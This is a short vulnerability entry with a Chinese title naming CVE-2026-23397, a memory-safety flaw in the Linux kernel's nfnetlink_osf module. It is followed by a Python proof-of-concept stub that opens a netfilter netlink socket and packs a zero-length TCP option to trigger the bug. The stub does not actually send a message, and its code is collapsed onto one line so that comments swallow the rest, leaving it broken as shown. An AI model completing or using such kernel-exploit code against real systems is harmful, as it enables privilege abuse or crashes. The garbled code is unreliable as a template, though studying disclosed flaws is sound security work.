CVE-2026-23397 Linux内核nfnetlink_osf内存安全漏洞

import socket import struct # Conceptual PoC to trigger the vulnerability via Netlink # This script attempts to add a fingerprint with a zero-length option def send_exploit_netlink_msg(): # Netlink socket setup sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_NETFILTER) sock.bind((0, 0)) # Constructing a malicious fingerprint message # Note: This is a simplified representation. Real exploit requires specific NLMSG attributes # for OSF fingerprint addition (NFNL_SUBSYS_OSF, OSF_MSG_ADD). # Malicious data: Option kind 2 (MSS) with length 0 (triggering < 4 check) # or a generic option with length 0. malicious_option = struct.pack('BB', 2, 0) print("[+] Attempting to send malformed fingerprint to kernel...") # In a real scenario, construct the full nfnetlink attribute payload here # sock.send(nlmsg) print("[!] PoC structure generated. Requires kernel with vulnerable nfnetlink_osf.") if __name__ == "__main__": send_exploit_netlink_msg()